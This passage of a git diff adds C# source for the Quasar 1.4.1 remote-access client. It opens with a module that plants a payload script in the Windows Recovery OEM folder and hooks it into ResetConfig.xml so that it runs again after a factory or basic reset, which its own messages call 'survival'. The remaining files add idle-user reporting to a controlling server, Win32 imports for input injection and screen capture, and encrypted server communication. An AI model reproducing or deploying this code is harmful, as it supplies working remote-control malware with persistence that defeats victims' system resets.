RSFuncs.SaveScriptFile(factoryResetFileName, payload); + } + + private static void UpdateExistingResetConfig( + string basicResetFileName, + string factoryResetFileName, + string payload) + { + XElement resetConfig = XElement.Load(RSFuncs.ResetConfigPath); + XElement[] array = resetConfig.Elements((XName)"Run").Where((Func)(e => (string)e.Attribute((XName)"Phase") == "FactoryReset_AfterImageApply" || (string)e.Attribute((XName)"Phase") == "BasicReset_AfterImageApply")).ToArray(); + int duration = ((IEnumerable)array).Max((Func)(e => (int)e.Element((XName)"Duration"))); + string additionalCommand1 = RSFuncs.UpdatePhase(array, "BasicReset_AfterImageApply", basicResetFileName); + string additionalCommand2 = RSFuncs.UpdatePhase(array, "FactoryReset_AfterImageApply", factoryResetFileName); + if (additionalCommand1 == null) + RSFuncs.AddNewPhase(resetConfig, "BasicReset_AfterImageApply", basicResetFileName, duration); + if (additionalCommand2 == null) + RSFuncs.AddNewPhase(resetConfig, "FactoryReset_AfterImageApply", factoryResetFileName, duration); + RSFuncs.SaveScriptFile(basicResetFileName, payload, additionalCommand1); + RSFuncs.SaveScriptFile(factoryResetFileName, payload, additionalCommand2); + resetConfig.Save(RSFuncs.ResetConfigPath); + } + + private static XElement CreateRunElement(string phase, string path, int duration) + { + return new XElement((XName)"Run", new object[3] + { + (object) new XAttribute((XName) "Phase", (object) phase), + (object) new XElement((XName) "Path", (object) path), + (object) new XElement((XName) "Duration", (object) duration) + }); + } + + private static string UpdatePhase(XElement[] phases, string phaseName, string fileName) + { + XElement xelement = ((IEnumerable)phases).FirstOrDefault((Func)(p => (string)p.Attribute((XName)"Phase") == phaseName)); + if (xelement == null) + return (string)null; + string str1 = "%TARGETOSDRIVE%\\Recovery\\OEM\\" + (string)xelement.Element((XName)"Path"); + string str2 = (string)xelement.Element((XName)"Param") ?? string.Empty; + xelement.Element((XName)"Param")?.Remove(); + xelement.Element((XName)"Path").Value = fileName; + return "\"" + str1 + "\" " + str2; + } + + private static void AddNewPhase( + XElement resetConfig, + string phaseName, + string fileName, + int duration) + { + XElement runElement = RSFuncs.CreateRunElement(phaseName, fileName, duration); + resetConfig.Add((object)runElement); + } + + private static void SaveScriptFile(string fileName, string payload, string additionalCommand = null) + { + string contents = payload; + if (!string.IsNullOrEmpty(additionalCommand)) + contents += additionalCommand; + try + { + File.WriteAllText(Path.Combine(RSFuncs.OEMPath, fileName), contents); + RSFuncs.SendLog("success", "Error backing up current config"); + } + catch + { + RSFuncs.SendLog("error", "Error writing: " + fileName); + } + } + + public static void Uninstall(ISender client) + { + _client = client; + if (!Directory.Exists(RSFuncs.OEMDataBackupPath)) + { + SendLog("error", "Not Installed"); + return; + } + try + { + RSFuncs._Uninstall(); + SendLog("complete", "Successfully uninstalled survival!"); + } + catch (Exception ex) + { + SendLog("error", "Uninstall failed: " + ex.Message); + } + } + + private static void _Uninstall() + { + // First restore the original ResetConfig.xml if it was backed up + RSFuncs.RestoreOrDeleteConfigFile(); + + // Delete the backup folder + RSFuncs.DeleteBackupFolder(); + + // Clean up ALL files in the OEM folder to restore it to Windows default state + RSFuncs.CleanupOEMFolder(); + } + + private static void RestoreOrDeleteConfigFile() + { + string configBackupPath = Path.Combine(RSFuncs.OEMDataBackupPath, "configBackup"); + if (File.Exists(configBackupPath)) + { + // Restore the original ResetConfig.xml + File.Copy(configBackupPath, RSFuncs.ResetConfigPath, true); + } + else + { + // No backup exists, so delete ResetConfig.xml if it exists + if (File.Exists(RSFuncs.ResetConfigPath)) + File.Delete(RSFuncs.ResetConfigPath); + } + } + + private static void DeleteBackupFolder() + { + if (Directory.Exists(RSFuncs.OEMDataBackupPath)) + Directory.Delete(RSFuncs.OEMDataBackupPath, true); + } + + private static void CleanupOEMFolder() + { + // Check if OEM folder exists + if (!Directory.Exists(RSFuncs.OEMPath)) + return; + + try + { + // Delete ALL remaining files in the OEM folder + string[] files = Directory.GetFiles(RSFuncs.OEMPath, "*", SearchOption.AllDirectories); + foreach (string file in files) + { + try + { + File.Delete(file); + } + catch + { + // Continue even if some files can't be deleted + } + } + + // Delete ALL subdirectories in the OEM folder + string[] directories = Directory.GetDirectories(RSFuncs.OEMPath); + foreach (string dir in directories) + { + try + { + Directory.Delete(dir, true); + } + catch + { + // Continue even if some directories can't be deleted + } + } + + // Check if OEM folder is now empty + bool isEmpty = !Directory.EnumerateFileSystemEntries(RSFuncs.OEMPath).Any(); + + // If the folder is empty, delete it to restore Windows default state + if (isEmpty) + { + Directory.Delete(RSFuncs.OEMPath, false); + } + } + catch (Exception ex) + { + SendLog("warning", "OEM cleanup warning: " + ex.Message); + } + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Client/User/ActivityDetection.cs b/Quasar-1.4.1/Quasar.Client/User/ActivityDetection.cs new file mode 100755 index 0000000..c6865a1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/User/ActivityDetection.cs @@ -0,0 +1,125 @@ +using Quasar.Client.Helper; +using Quasar.Client.Networking; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using System; +using System.Threading; + +namespace Quasar.Client.User +{ + /// + /// Provides user activity detection and sends messages on change. + /// + public class ActivityDetection : IDisposable + { + /// + /// Stores the last user status to detect changes. + /// + private UserStatus _lastUserStatus; + + /// + /// The client to use for communication with the server. + /// + private readonly QuasarClient _client; + + /// + /// Create a and signals cancellation. + /// + private readonly CancellationTokenSource _tokenSource; + + /// + /// The token to check for cancellation. + /// + private readonly CancellationToken _token; + + /// + /// Initializes a new instance of using the given client. + /// + /// The name of the mutex. + public ActivityDetection(QuasarClient client) + { + _client = client; + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + client.ClientState += OnClientStateChange; + } + + private void OnClientStateChange(Networking.Client s, bool connected) + { + // reset user status + if (connected) + _lastUserStatus = UserStatus.Active; + } + + /// + /// Starts the user activity detection. + /// + public void Start() + { + new Thread(UserActivityThread).Start(); + } + + /// + /// Checks for user activity changes sends to the on change. + /// + private void UserActivityThread() + { + try + { + if (IsUserIdle()) + { + if (_lastUserStatus != UserStatus.Idle) + { + _lastUserStatus = UserStatus.Idle; + _client.Send(new SetUserStatus { Message = _lastUserStatus }); + } + } + else + { + if (_lastUserStatus != UserStatus.Active) + { + _lastUserStatus = UserStatus.Active; + _client.Send(new SetUserStatus { Message = _lastUserStatus }); + } + } + } + catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException) + { + } + } + + /// + /// Determines whether the user is idle if the last user input was more than 10 minutes ago. + /// + /// True if the user is idle, else false. + private bool IsUserIdle() + { + var ticks = Environment.TickCount; + + var idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount(); + + idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0); + + return (idleTime > 600); // idle for 10 minutes + } + + /// + /// Disposes all managed and unmanaged resources associated with this activity detection service. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _tokenSource.Cancel(); + _tokenSource.Dispose(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/User/UserAccount.cs b/Quasar-1.4.1/Quasar.Client/User/UserAccount.cs new file mode 100755 index 0000000..5893202 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/User/UserAccount.cs @@ -0,0 +1,39 @@ +using Quasar.Common.Enums; +using System; +using System.Security.Principal; + +namespace Quasar.Client.User +{ + public class UserAccount + { + public string UserName { get; } + + public AccountType Type { get; } + + public UserAccount() + { + UserName = Environment.UserName; + using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) + { + WindowsPrincipal principal = new WindowsPrincipal(identity); + + if (principal.IsInRole(WindowsBuiltInRole.Administrator)) + { + Type = AccountType.Admin; + } + else if (principal.IsInRole(WindowsBuiltInRole.User)) + { + Type = AccountType.User; + } + else if (principal.IsInRole(WindowsBuiltInRole.Guest)) + { + Type = AccountType.Guest; + } + else + { + Type = AccountType.Unknown; + } + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Utilities/NativeMethods.cs b/Quasar-1.4.1/Quasar.Client/Utilities/NativeMethods.cs new file mode 100755 index 0000000..b1a7064 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Utilities/NativeMethods.cs @@ -0,0 +1,219 @@ +using System; +using System.Net; +using System.Runtime.InteropServices; +using System.Text; + +namespace Quasar.Client.Utilities +{ + /// + /// Provides access to the Win32 API. + /// + public static class NativeMethods + { + [StructLayout(LayoutKind.Sequential)] + internal struct LASTINPUTINFO + { + public static readonly int SizeOf = Marshal.SizeOf(typeof(LASTINPUTINFO)); + [MarshalAs(UnmanagedType.U4)] public UInt32 cbSize; + [MarshalAs(UnmanagedType.U4)] public UInt32 dwTime; + } + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + internal static extern IntPtr LoadLibrary(string lpFileName); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + internal static extern bool FreeLibrary(IntPtr hModule); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] + internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize); + + /// + /// Performs a bit-block transfer of the color data corresponding to a + /// rectangle of pixels from the specified source device context into + /// a destination device context. + /// + /// Handle to the destination device context. + /// The leftmost x-coordinate of the destination rectangle (in pixels). + /// The topmost y-coordinate of the destination rectangle (in pixels). + /// The width of the source and destination rectangles (in pixels). + /// The height of the source and the destination rectangles (in pixels). + /// Handle to the source device context. + /// The leftmost x-coordinate of the source rectangle (in pixels). + /// The topmost y-coordinate of the source rectangle (in pixels). + /// A raster-operation code. + /// + /// true if the operation succeedes, false otherwise. To get extended error information, call . + /// + [DllImport("gdi32.dll", EntryPoint = "BitBlt", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + internal static extern bool BitBlt([In] IntPtr hdc, int nXDest, int nYDest, int nWidth, int nHeight, + [In] IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop); + + [DllImport("gdi32.dll", CharSet = CharSet.Unicode)] + internal static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData); + + [DllImport("gdi32.dll")] + internal static extern bool DeleteDC([In] IntPtr hdc); + + [DllImport("user32.dll")] + internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); + + [DllImport("user32.dll")] + internal static extern bool SetCursorPos(int x, int y); + + [DllImport("user32.dll", SetLastError = false)] + internal static extern IntPtr GetMessageExtraInfo(); + + /// + /// Synthesizes keystrokes, mouse motions, and button clicks. + /// + [DllImport("user32.dll")] + internal static extern uint SendInput(uint nInputs, + [MarshalAs(UnmanagedType.LPArray), In] INPUT[] pInputs, + int cbSize); + + [StructLayout(LayoutKind.Sequential)] + internal struct INPUT + { + internal uint type; + internal InputUnion u; + internal static int Size => Marshal.SizeOf(typeof(INPUT)); + } + + [StructLayout(LayoutKind.Explicit)] + internal struct InputUnion + { + [FieldOffset(0)] + internal MOUSEINPUT mi; + [FieldOffset(0)] + internal KEYBDINPUT ki; + [FieldOffset(0)] + internal HARDWAREINPUT hi; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MOUSEINPUT + { + internal int dx; + internal int dy; + internal int mouseData; + internal uint dwFlags; + internal uint time; + internal IntPtr dwExtraInfo; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct KEYBDINPUT + { + internal ushort wVk; + internal ushort wScan; + internal uint dwFlags; + internal uint time; + internal IntPtr dwExtraInfo; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct HARDWAREINPUT + { + public uint uMsg; + public ushort wParamL; + public ushort wParamH; + } + + [DllImport("user32.dll")] + internal static extern bool SystemParametersInfo( + uint uAction, uint uParam, ref IntPtr lpvParam, + uint flags); + + [DllImport("user32.dll")] + internal static extern int PostMessage(IntPtr hWnd, int wMsg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll", CharSet = CharSet.Unicode)] + internal static extern IntPtr OpenDesktop( + string hDesktop, int flags, bool inherit, + uint desiredAccess); + + [DllImport("user32.dll")] + internal static extern bool CloseDesktop( + IntPtr hDesktop); + + internal delegate bool EnumDesktopWindowsProc( + IntPtr hDesktop, IntPtr lParam); + + [DllImport("user32.dll")] + internal static extern bool EnumDesktopWindows( + IntPtr hDesktop, EnumDesktopWindowsProc callback, + IntPtr lParam); + + [DllImport("user32.dll")] + internal static extern bool IsWindowVisible( + IntPtr hWnd); + + [DllImport("user32.dll")] + internal static extern IntPtr GetForegroundWindow(); + + [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + internal static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); + + [DllImport("iphlpapi.dll", SetLastError = true)] + internal static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion, + TcpTableClass tblClass, uint reserved = 0); + + [DllImport("iphlpapi.dll")] + internal static extern int SetTcpEntry(IntPtr pTcprow); + + [StructLayout(LayoutKind.Sequential)] + internal struct MibTcprowOwnerPid + { + public uint state; + public uint localAddr; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] localPort; + public uint remoteAddr; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] remotePort; + public uint owningPid; + public IPAddress LocalAddress + { + get { return new IPAddress(localAddr); } + } + + public ushort LocalPort + { + get { return BitConverter.ToUInt16(new byte[2] { localPort[1], localPort[0] }, 0); } + } + + public IPAddress RemoteAddress + { + get { return new IPAddress(remoteAddr); } + } + + public ushort RemotePort + { + get { return BitConverter.ToUInt16(new byte[2] { remotePort[1], remotePort[0] }, 0); } + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MibTcptableOwnerPid + { + public uint dwNumEntries; + private readonly MibTcprowOwnerPid table; + } + + internal enum TcpTableClass + { + TcpTableBasicListener, + TcpTableBasicConnections, + TcpTableBasicAll, + TcpTableOwnerPidListener, + TcpTableOwnerPidConnections, + TcpTableOwnerPidAll, + TcpTableOwnerModuleListener, + TcpTableOwnerModuleConnections, + TcpTableOwnerModuleAll + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Utilities/SingleInstanceMutex.cs b/Quasar-1.4.1/Quasar.Client/Utilities/SingleInstanceMutex.cs new file mode 100755 index 0000000..6170e82 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Utilities/SingleInstanceMutex.cs @@ -0,0 +1,62 @@ +using System; +using System.Threading; + +namespace Quasar.Client.Utilities +{ + /// + /// A user-wide mutex that ensures that only one instance runs at a time. + /// + public class SingleInstanceMutex : IDisposable + { + /// + /// The mutex used for process synchronization. + /// + private readonly Mutex _appMutex; + + /// + /// Represents if the mutex was created on the system or it already existed. + /// + public bool CreatedNew { get; } + + /// + /// Determines if the instance is disposed and should not be used anymore. + /// + public bool IsDisposed { get; private set; } + + /// + /// Initializes a new instance of using the given mutex name. + /// + /// The name of the mutex. + public SingleInstanceMutex(string name) + { + _appMutex = new Mutex(false, $"Local\\{name}", out var createdNew); + CreatedNew = createdNew; + } + + /// + /// Releases all resources used by this . + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + /// + /// Releases the mutex object. + /// + /// True if called from , false if called from the finalizer. + protected virtual void Dispose(bool disposing) + { + if (IsDisposed) + return; + + if (disposing) + { + _appMutex?.Dispose(); + } + + IsDisposed = true; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/app.manifest b/Quasar-1.4.1/Quasar.Client/app.manifest new file mode 100755 index 0000000..bf4e01a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/app.manifest @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + true/pm + PerMonitorV2, PerMonitor + true + + + + + + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Common.Tests/Compression/JpgCompression.Tests.cs b/Quasar-1.4.1/Quasar.Common.Tests/Compression/JpgCompression.Tests.cs new file mode 100755 index 0000000..4bf62fa --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common.Tests/Compression/JpgCompression.Tests.cs @@ -0,0 +1,24 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.Video.Compression; +using System; +using System.Drawing; + +namespace Quasar.Common.Tests.Compression +{ + [TestClass] + public class JpgCompressionTests + { + [TestMethod, TestCategory("Compression")] + public void CompressionTest() + { + var quality = Int64.MaxValue; + var jpg = new JpgCompression(quality); + var bitmap = new Bitmap(200, 200); + + var result = jpg.Compress(bitmap); + + Assert.IsNotNull(result); + CollectionAssert.AllItemsAreNotNull(result); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common.Tests/Cryptography/Aes256.Tests.cs b/Quasar-1.4.1/Quasar.Common.Tests/Cryptography/Aes256.Tests.cs new file mode 100755 index 0000000..61c2b99 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common.Tests/Cryptography/Aes256.Tests.cs @@ -0,0 +1,49 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; +using System.Text; + +namespace Quasar.Common.Tests.Cryptography +{ + [TestClass] + public class Aes128Tests + { + [TestMethod, TestCategory("Cryptography")] + public void EncryptAndDecryptStringTest() + { + var input = StringHelper.GetRandomString(100); + var password = StringHelper.GetRandomString(50); + + var aes = new Aes256(password); + + var encrypted = aes.Encrypt(input); + + Assert.IsNotNull(encrypted); + Assert.AreNotEqual(encrypted, input); + + var decrypted = aes.Decrypt(encrypted); + + Assert.AreEqual(input, decrypted); + } + + [TestMethod, TestCategory("Cryptography")] + public void EncryptAndDecryptByteArrayTest() + { + var input = StringHelper.GetRandomString(100); + var inputByte = Encoding.UTF8.GetBytes(input); + var password = StringHelper.GetRandomString(50); + + var aes = new Aes256(password); + + var encryptedByte = aes.Encrypt(inputByte); + + Assert.IsNotNull(encryptedByte); + CollectionAssert.AllItemsAreNotNull(encryptedByte); + CollectionAssert.AreNotEqual(encryptedByte, inputByte); + + var decryptedByte = aes.Decrypt(encryptedByte); + + CollectionAssert.AreEqual(inputByte, decryptedByte); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common.Tests/Cryptography/SHA256.Tests.cs b/Quasar-1.4.1/Quasar.Common.Tests/Cryptography/SHA256.Tests.cs new file mode 100755 index 0000000..63e9758 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common.Tests/Cryptography/SHA256.Tests.cs @@ -0,0 +1,20 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; + +namespace Quasar.Common.Tests.Cryptography +{ + [TestClass] + public class Sha256Tests + { + [TestMethod, TestCategory("Cryptography")] + public void ComputeHashTest() + { + var input = StringHelper.GetRandomString(100); + var result = Sha256.ComputeHash(input); + + Assert.IsNotNull(result); + Assert.AreNotEqual(result, input); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common.Tests/Helpers/FileHelper.Tests.cs b/Quasar-1.4.1/Quasar.Common.Tests/Helpers/FileHelper.Tests.cs new file mode 100755 index 0000000..5a4a595 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common.Tests/Helpers/FileHelper.Tests.cs @@ -0,0 +1,35 @@ +using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.Helpers; + +namespace Quasar.Common.Tests.Helpers +{ + [TestClass] + public class FileHelperTests + { + [TestMethod, TestCategory("Helpers")] + public void RandomFilenameTest() + { + int length = 100; + var name = FileHelper.GetRandomFilename(length); + + Assert.IsNotNull(name); + Assert.IsTrue(name.Length == length); + } + + [TestMethod, TestCategory("Helpers")] + public void ValidateExecutableTest() + { + var bytes = new byte[] {77, 90}; + + Assert.IsTrue(FileHelper.HasExecutableIdentifier(bytes)); + } + + [TestMethod, TestCategory("Helpers")] + public void ValidateExecutableTest2() + { + var bytes = new byte[] {22, 93}; + + Assert.IsFalse(FileHelper.HasExecutableIdentifier(bytes)); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common.Tests/Properties/AssemblyInfo.cs b/Quasar-1.4.1/Quasar.Common.Tests/Properties/AssemblyInfo.cs new file mode 100755 index 0000000..ccdc2ef --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common.Tests/Properties/AssemblyInfo.cs @@ -0,0 +1,20 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +[assembly: AssemblyTitle("Quasar Common Tests")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Quasar")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +[assembly: ComVisible(false)] + +[assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")] + +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] diff --git a/Quasar-1.4.1/Quasar.Common.Tests/Quasar.Common.Tests.csproj b/Quasar-1.4.1/Quasar.Common.Tests/Quasar.Common.Tests.csproj new file mode 100755 index 0000000..257ee73 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common.Tests/Quasar.Common.Tests.csproj @@ -0,0 +1,22 @@ + + + net461 + false + + + ..\bin\Debug\ + + + ..\bin\Release\ + none + false + + + + + + + + + + diff --git a/Quasar-1.4.1/Quasar.Common/Cryptography/Aes256.cs b/Quasar-1.4.1/Quasar.Common/Cryptography/Aes256.cs new file mode 100755 index 0000000..fa73721 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Cryptography/Aes256.cs @@ -0,0 +1,128 @@ +using System; +using System.IO; +using System.Security.Cryptography; +using System.Text; + +namespace Quasar.Common.Cryptography +{ + public class Aes256 + { + private const int KeyLength = 32; + private const int AuthKeyLength = 64; + private const int IvLength = 16; + private const int HmacSha256Length = 32; + private readonly byte[] _key; + private readonly byte[] _authKey; + + private static readonly byte[] Salt = + { + 0xBF, 0xEB, 0x1E, 0x56, 0xFB, 0xCD, 0x97, 0x3B, 0xB2, 0x19, 0x2, 0x24, 0x30, 0xA5, 0x78, 0x43, 0x0, 0x3D, 0x56, + 0x44, 0xD2, 0x1E, 0x62, 0xB9, 0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41 + }; + + public Aes256(string masterKey) + { + if (string.IsNullOrEmpty(masterKey)) + throw new ArgumentException($"{nameof(masterKey)} can not be null or empty."); + + using (Rfc2898DeriveBytes derive = new Rfc2898DeriveBytes(masterKey, Salt, 50000)) + { + _key = derive.GetBytes(KeyLength); + _authKey = derive.GetBytes(AuthKeyLength); + } + } + + public string Encrypt(string input) + { + return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input))); + } + + /* FORMAT + * ---------------------------------------- + * | HMAC | IV | CIPHERTEXT | + * ---------------------------------------- + * 32 bytes 16 bytes + */ + public byte[] Encrypt(byte[] input) + { + if (input == null) + throw new ArgumentNullException($"{nameof(input)} can not be null."); + + using (var ms = new MemoryStream()) + { + ms.Position = HmacSha256Length; // reserve first 32 bytes for HMAC + using (var aesProvider = new AesCryptoServiceProvider()) + { + aesProvider.KeySize = 256; + aesProvider.BlockSize = 128; + aesProvider.Mode = CipherMode.CBC; + aesProvider.Padding = PaddingMode.PKCS7; + aesProvider.Key = _key; + aesProvider.GenerateIV(); + + using (var cs = new CryptoStream(ms, aesProvider.CreateEncryptor(), CryptoStreamMode.Write)) + { + ms.Write(aesProvider.IV, 0, aesProvider.IV.Length); // write next 16 bytes the IV, followed by ciphertext + cs.Write(input, 0, input.Length); + cs.FlushFinalBlock(); + + using (var hmac = new HMACSHA256(_authKey)) + { + byte[] hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); // compute the HMAC of IV and ciphertext + ms.Position = 0; // write hash at beginning + ms.Write(hash, 0, hash.Length); + } + } + } + + return ms.ToArray(); + } + } + + public string Decrypt(string input) + { + return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input))); + } + + public byte[] Decrypt(byte[] input) + { + if (input == null) + throw new ArgumentNullException($"{nameof(input)} can not be null."); + + using (var ms = new MemoryStream(input)) + { + using (var aesProvider = new AesCryptoServiceProvider()) + { + aesProvider.KeySize = 256; + aesProvider.BlockSize = 128; + aesProvider.Mode = CipherMode.CBC; + aesProvider.Padding = PaddingMode.PKCS7; + aesProvider.Key = _key; + + // read first 32 bytes for HMAC + using (var hmac = new HMACSHA256(_authKey)) + { + var hash = hmac.ComputeHash(ms.ToArray(), HmacSha256Length, ms.ToArray().Length - HmacSha256Length); + byte[] receivedHash = new byte[HmacSha256Length]; + ms.Read(receivedHash, 0, receivedHash.Length); + + if (!SafeComparison.AreEqual(hash, receivedHash)) + throw new CryptographicException("Invalid message authentication code (MAC)."); + } + + byte[] iv = new byte[IvLength]; + ms.Read(iv, 0, IvLength); // read next 16 bytes for IV, followed by ciphertext + aesProvider.IV = iv; + + using (var cs = new CryptoStream(ms, aesProvider.CreateDecryptor(), CryptoStreamMode.Read)) + { + byte[] temp = new byte[ms.Length - IvLength + 1]; + byte[] data = new byte[cs.Read(temp, 0, temp.Length)]; + Buffer.BlockCopy(temp, 0, data, 0, data.Length); + return data; + } + } + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Cryptography/SafeComparison.cs b/Quasar-1.4.1/Quasar.Common/Cryptography/SafeComparison.cs new file mode 100755 index 0000000..4ac4897 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Cryptography/SafeComparison.cs @@ -0,0 +1,29 @@ +using System.Runtime.CompilerServices; + +namespace Quasar.Common.Cryptography +{ + public class SafeComparison + { + /// + /// Compares two byte arrays for equality. + /// + /// Byte array to compare + /// Byte array to compare + /// True if equal, else false + /// + /// Assumes that the byte arrays have the same length. + /// This method is safe against timing attacks. + /// + [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] + public static bool AreEqual(byte[] a1, byte[] a2) + { + bool result = true; + for (int i = 0; i < a1.Length; ++i) + { + if (a1[i] != a2[i]) + result = false; + } + return result; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Cryptography/Sha256.cs b/Quasar-1.4.1/Quasar.Common/Cryptography/Sha256.cs new file mode 100755 index 0000000..c7a6414 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Cryptography/Sha256.cs @@ -0,0 +1,33 @@ +using System.Security.Cryptography; +using System.Text; + +namespace Quasar.Common.Cryptography +{ + public static class Sha256 + { + public static string ComputeHash(string input) + { + byte[] data = Encoding.UTF8.GetBytes(input); + + using (SHA256Managed sha = new SHA256Managed()) + { + data = sha.ComputeHash(data); + } + + StringBuilder hash = new StringBuilder(); + + foreach (byte _byte in data) + hash.Append(_byte.ToString("X2")); + + return hash.ToString().ToUpper(); + } + + public static byte[] ComputeHash(byte[] input) + { + using (SHA256Managed sha = new SHA256Managed()) + { + return sha.ComputeHash(input); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/DNS/Host.cs b/Quasar-1.4.1/Quasar.Common/DNS/Host.cs new file mode 100755 index 0000000..be93184 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/DNS/Host.cs @@ -0,0 +1,33 @@ +using System.Net; + +namespace Quasar.Common.DNS +{ + public class Host + { + /// + /// Stores the hostname of the Host. + /// + /// + /// Can be an IPv4, IPv6 address or hostname. + /// + public string Hostname { get; set; } + + /// + /// Stores the IP address of host. + /// + /// + /// Can be an IPv4 or IPv6 address. + /// + public IPAddress IpAddress { get; set; } + + /// + /// Stores the port of the Host. + /// + public ushort Port { get; set; } + + public override string ToString() + { + return Hostname + ":" + Port; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/DNS/HostsConverter.cs b/Quasar-1.4.1/Quasar.Common/DNS/HostsConverter.cs new file mode 100755 index 0000000..905a335 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/DNS/HostsConverter.cs @@ -0,0 +1,40 @@ +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace Quasar.Common.DNS +{ + public class HostsConverter + { + public List RawHostsToList(string rawHosts) + { + List hostsList = new List(); + + if (string.IsNullOrEmpty(rawHosts)) return hostsList; + + var hosts = rawHosts.Split(';'); + + foreach (var host in hosts) + { + if ((string.IsNullOrEmpty(host) || !host.Contains(':'))) continue; // invalid host, ignore + + ushort port; + if (!ushort.TryParse(host.Substring(host.LastIndexOf(':') + 1), out port)) continue; // invalid, ignore host + + hostsList.Add(new Host { Hostname = host.Substring(0, host.LastIndexOf(':')), Port = port }); + } + + return hostsList; + } + + public string ListToRawHosts(IList hosts) + { + StringBuilder rawHosts = new StringBuilder(); + + foreach (var host in hosts) + rawHosts.Append(host + ";"); + + return rawHosts.ToString(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/DNS/HostsManager.cs b/Quasar-1.4.1/Quasar.Common/DNS/HostsManager.cs new file mode 100755 index 0000000..182895a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/DNS/HostsManager.cs @@ -0,0 +1,63 @@ +using System.Collections.Generic; +using System.Net; +using System.Net.Sockets; + +namespace Quasar.Common.DNS +{ + public class HostsManager + { + public bool IsEmpty => _hosts.Count == 0; + + private readonly Queue _hosts = new Queue(); + + public HostsManager(List hosts) + { + foreach(var host in hosts) + _hosts.Enqueue(host); + } + + public Host GetNextHost() + { + var temp = 